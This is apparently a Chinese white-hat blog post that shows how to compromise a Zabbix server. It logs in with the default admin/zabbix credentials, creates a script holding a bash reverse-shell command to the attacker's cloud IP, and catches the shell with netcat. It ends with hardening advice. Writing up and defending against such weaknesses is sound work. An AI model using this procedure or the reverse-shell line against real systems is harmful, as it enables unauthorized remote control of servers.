震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

  • A+
所属分类:安全文章
我举手向苍穹,并非一定要摘取星月,我只是需要这个向上的,永不臣服的姿态。
——24h进德修业

震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

一、漏洞说明

zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案(百度百科定义)。很多Zabbix的admin口令使用了初始账号:admin,密码:zabbix。攻击者破解口令之后可以创建“system.run[command,]”( 这个监控项是agent自带的,使zabbix server可以远程在agent的机器上执行任意命令)监控项执行命令,甚至获取服务器shell(漏洞具体描述)。

二、漏洞复现

1.利用弱口令漏洞进入网站

初始账号:admin,密码:zabbix
漏洞证明如下图所示
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

2. 利用nc写入反弹shell命令

(1)依次点击菜单栏:管理、脚本、创建脚本,配置如下图
(2)写入反弹shell的命令
bash -i >& /dev/tcp/云服务器的公网IP/7777 0>&1
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell
(3)依次点击菜单栏:监测、仪表盘、问题,找到一个主机,单击刚刚创建的脚本
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

3.设置云服务器配置

配置云服务器(这一步根据自己的服务器的情况来看),在这里我用的是某云的ECS云服务器,其它服务器请自行配置
(1)在菜单栏依次点击进入实例、本例安全组、配置规则
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell
(2)在菜单栏依次点击入方向、手动添加,配置如下图,分别是TCP协议,第二步反弹shell监听的端口,以及源:0.0.0.0/0(入方向端口不能访问,怎么反弹shell,手动滑稽)
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

4.nc监听

以上操作完成后,打开我们的云服务器用nc监听
执行命令:nc -lvp 7777即可获得shell
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

5.zabbix网页命令执行

如果在第二步创建脚本时直接写入命令执行参数,那么依次点击菜单栏:监测、仪表盘、问题,找到一个主机,单击刚刚创建的脚本,即可成功执行该命令
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

三、修复建议

1、zabbix的登录口令一定要复杂,不要用默认口令或弱口令;
2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
3、禁止agent执行system.run,不要设置EnableRemoteCommands=1
4、经常打安全补丁,或者升级系统版本,如果系统内核版本过低有漏洞的话,即使在zabbix用户下照样能获取root权限
四、结束语
证明此漏洞存在即可,请自觉遵守《中华人民共和国网络安全法》。
免责声明:本站提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!本文部分内容来自网络,在此说明。
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
欢迎关注公众号:24h进德修业,一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望能够给大家带来帮助,前行的道路上感谢有您的关注与支持。
震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell


本文始发于微信公众号(24h进德修业):震惊——某白帽破解zabbix系统,实现命令执行,最终获取shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: